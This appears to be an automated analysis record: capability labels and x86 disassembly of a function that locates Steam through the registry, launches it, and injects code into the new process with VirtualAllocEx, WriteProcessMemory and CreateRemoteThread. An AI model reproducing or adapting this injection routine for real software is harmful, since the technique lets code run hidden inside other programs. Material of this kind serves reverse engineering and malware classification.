Function at 0x401213
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Create process on windows
Create thread
Execute shellcode via indirect call
Inject thread
Query or enumerate registry value
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x290
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x14]
xor ebp, ebp
push eax
push 1
push ebp
push str.SoftwareValveSteam
push 0x80000001
mov dword [esp + 0x28], ebp
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401450
push 0x22
pop eax
mov word [esp + 0x98], ax
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 0x9e]
mov dword [esp + 0x30], 0x206
push eax
push ebp
push ebp
push str.SteamExe
push dword [esp + 0x28]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x401446
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [esp + 0x98]
push 0x403200
push eax
call esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHLWAPI.dll_PathGetArgsW]
push eax
lea eax, [esp + 0x9c]
push eax
call esi
call fcn.0040116a
push 0x40
lea eax, [esp + 0x58]
mov dword [esp + 0x54], 0x44
push ebp
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x54]
push eax
push ebp
push ebp
push ebp
push ebp
push ebp
push ebp
lea eax, [esp + 0xb8]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x401446
mov ecx, dword [esp + 0x20]
call fcn.004010f3
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_SuspendThread]
mov ebx, dword [0x403244]
push 0x40
push 0x3000
push dword [ebx + 0x403258]
push ebp
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov edi, ebp
mov ebp, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
mov dword [esp + 0x28], ecx
cmp ax, word [ebx + 0x40320e]
jae 0x40136f
lea esi, [ebx + 0x403314]
mov eax, dword [esi]
push 0
push dword [esi - 4]
add eax, 0x403208
push eax
mov eax, dword [esi - 8]
add eax, ecx
push eax
push dword [esp + 0x28]
call ebp
movzx eax, word [ebx + 0x40320e]
lea esi, [esi + 0x28]
mov ecx, dword [esp + 0x28]
inc edi
cmp edi, eax
jl 0x401343
push 0x20
push 0x3000
push 0x1000
push 0
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
mov eax, dword [esp + 0x28]
mov dword [esp + 0x30], eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [esp + 0x34], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 0x38], eax
mov eax, dword [sym.imp.KERNEL32.dll_RtlZeroMemory]
mov dword [esp + 0x3c], eax
mov eax, dword [ebx + 0x40323c]
mov dword [esp + 0x40], eax
mov eax, dword [ebx + 0x4032a8]
mov dword [esp + 0x44], eax
mov eax, dword [ebx + 0x403288]
mov dword [esp + 0x48], eax
mov eax, dword [ebx + 0x403230]
xor ebx, ebx
push ebx
push 0x20
mov dword [esp + 0x54], eax
lea eax, [esp + 0x38]
push eax
push edi
push dword [esp + 0x28]
call ebp
push ebx
mov ecx, section..text
lea esi, [edi + 0x20]
mov eax, fcn.004010f0
sub eax, ecx
push eax
push ecx
push esi
push dword [esp + 0x28]
call ebp
push ebx
push ebx
push edi
push esi
push ebx
push ebx
push dword [esp + 0x30]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push dword [esp + 0x1c]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push ebx
push edi
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [esp + 0x1c]
call esi
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
inc eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret 0x10